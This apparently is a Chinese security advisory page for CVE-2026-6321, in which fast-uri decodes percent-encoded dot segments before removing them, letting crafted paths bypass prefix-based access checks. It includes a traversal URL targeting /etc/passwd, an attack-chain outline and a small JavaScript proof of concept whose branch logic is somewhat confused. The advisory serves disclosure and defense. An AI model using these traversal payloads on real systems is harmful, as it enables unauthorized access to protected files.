IPBUF安全漏洞报告
English
CVE-2026-6321 CVSS 7.5 高危

CVE-2026-6321 fast-uri路径规范化安全绕过漏洞

披露日期: 2026-05-04
来源: ce714d77-add3-4f53-aff5-83d477b104bb

漏洞信息

漏洞编号
CVE-2026-6321
漏洞类型
安全功能绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
fast-uri

相关标签

安全功能绕过路径遍历fast-uriURL规范化CVE-2026-6321

漏洞概述

fast-uri 在其 normalize() 和 equal() 函数中存在逻辑缺陷,导致它在应用点段移除操作之前,错误地解码了百分比编码的路径分隔符和点段。这种处理顺序使得编码后的路径数据被当作真实的路径分隔符和父目录引用处理,从而导致不同的 URI 被规范化为相同的路径。攻击者可利用此漏洞绕过应用程序的基于路径的访问控制策略,使原本应被限制在允许前缀下的恶意路径被解析到未授权的位置。

技术细节

该漏洞的核心在于 fast-uri 处理 URI 路径时的步骤顺序错误。符合规范的处理流程通常是在解码百分比编码之前先进行路径清理或规范化。然而,fast-uri 在受影响版本中,会优先将 `%2f`(斜杠)和 `%2e%2e`(双点)等编码字符解码为其实际字符,随后再执行点段移除。攻击者可以构造如 `http://example.com/allowed/%2e%2e/etc/passwd` 的 URL。当应用程序使用 fast-uri 对此 URL 进行规范化以验证其是否位于 `/allowed` 目录下时,解码后的 `..` 会导致路径跳出限制范围,从而成功绕过安全检查并访问敏感资源。

攻击链分析

STEP 1
侦察
攻击者确认目标应用程序使用了 fast-uri 库(版本 <= 3.1.0)来处理或规范化 URL,并实施了基于路径前缀的访问控制策略。
STEP 2
武器化
攻击者构造包含百分比编码的点段(如 `%2e%2e` 代表 `..`)或路径分隔符(如 `%2f` 代表 `/`)的特制 URL,使其表面上位于允许的路径前缀内。
STEP 3
交付与利用
攻击者将构造的恶意 URL 发送给目标应用程序。应用程序使用 fast-uri 的 normalize() 函数处理该 URL。
STEP 4
绕过防护
由于 fast-uri 先解码后处理点段,原本用于限制路径的检查逻辑失效,攻击者成功将路径解析到允许范围之外的目录。
STEP 5
达成目标
应用程序误认为路径合法,允许攻击者访问、读取或修改未授权的文件或资源(完整性影响)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC demonstration of CVE-2026-6321 // Vulnerable library: fast-uri <= 3.1.0 const fastUri = require('fast-uri'); // Scenario: Application restricts access to '/public' directory const allowedBase = 'https://example.com/public/'; // Attacker crafts a malicious URL using percent-encoded parent directory references // '%2e%2e' decodes to '..' const attackerInput = 'https://example.com/public/%2e%2e/admin/config'; console.log('Original Input: ' + attackerInput); // The application normalizes the URI to enforce the policy const normalizedPath = fastUri.normalize(attackerInput); console.log('Normalized Path: ' + normalizedPath); // Vulnerability Check: // The application checks if the normalized path starts with the allowed base. // Due to the bug, the normalized path resolves outside the allowed base. if (normalizedPath.startsWith(allowedBase)) { console.log('Access Granted: Path is within allowed directory.'); } else { console.log('Access Bypassed: Path is outside allowed directory!'); console.log('Intent: Access /admin/config via /public/%2e%2e/..'); }

影响范围

fast-uri <= 3.1.0

防御指南

临时缓解措施
如果无法立即升级,建议在应用层面对 URL 进行严格的二次校验,确保在解码任何百分比编码字符之前,先验证原始路径字符串中是否包含非法的点段或分隔符,或者替换使用其他经过严格安全验证的 URL 处理库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表